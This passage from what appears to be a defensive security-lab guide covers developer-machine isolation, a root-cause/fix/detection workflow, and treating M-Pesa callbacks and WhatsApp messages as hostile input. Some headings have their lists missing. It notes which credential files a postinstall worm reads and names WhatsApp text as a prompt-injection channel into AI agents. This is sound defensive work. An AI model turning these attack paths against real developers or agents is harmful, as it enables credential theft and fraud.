For developer machines specifically: keep the lab off the machine that holds production credentials, and remember that a developer laptop is now a supply-chain target. A worm that runs in postinstall reads ~/.npmrc, cloud CLI credentials and .env files. npm 12's blocked install scripts, Hazina for secrets, and a separate lab VM are the three controls that matter. See sandbox/CLAUDE_CODE_INTEGRATION.md.


The loop: finding → fix → detection

Every lab session produces three artefacts, and stops being useful if it produces fewer:

  1. Root cause. The specific line or design decision, not the symptom. "The order endpoint reads orderId from the query string and never checks it against the session subject."
  2. Countermeasure. The diff: parameterised query, server-side authorisation check, output encoding, signature verification. Written as code, not as advice.
  3. Detection. The log event and the alert that would have fired. If you cannot name it, you have found A09:2025 in your own stack.

Map the finding to MITRE ATT&CK (https://attack.mitre.org/) when it helps you talk to a security team, and score severity with CVSS (https://www.first.org/cvss/) when you need a shared vocabulary for prioritisation. Sigma (https://github.com/SigmaHQ/sigma) is a portable way to write the detection rule once. PATTERNS.md has the template.


codeAmani notes

This lab is where the CLAUDE.md security rules come from

Every rule in the workspace CLAUDE.md is the scar tissue of one of the classes above:

Shipping defaults for every codeAmani app

Secrets and the lab

Kenya-targeted projects: the M-Pesa callback is hostile input

For boda-dispatch, duka-order-bot, and the other Kenya-targeted builds, the highest-value application of this guide is the Daraja callback path, because it combines three classes at once:

Three more that are genuinely regional: WhatsApp inbound messages are untrusted input in the same category as a form field, and when an agent reads them they are also a prompt-injection channel (ASI01), so a WhatsApp ordering bot must never be able to trigger a payout from message text alone. On low-bandwidth Android, a tight CSP plus a small JS bundle is both a performance win and a real XSS mitigation. And SIM-swap fraud makes SMS OTP weaker in this market than elsewhere; pair it with device binding or a PIN for anything that moves money.

Pair this guide with

The one-line summary

You break a target you own so that you never ship the bug, and you ship on a framework version, a dependency policy and an agent design that assume the next bug is already out there.

Official docs: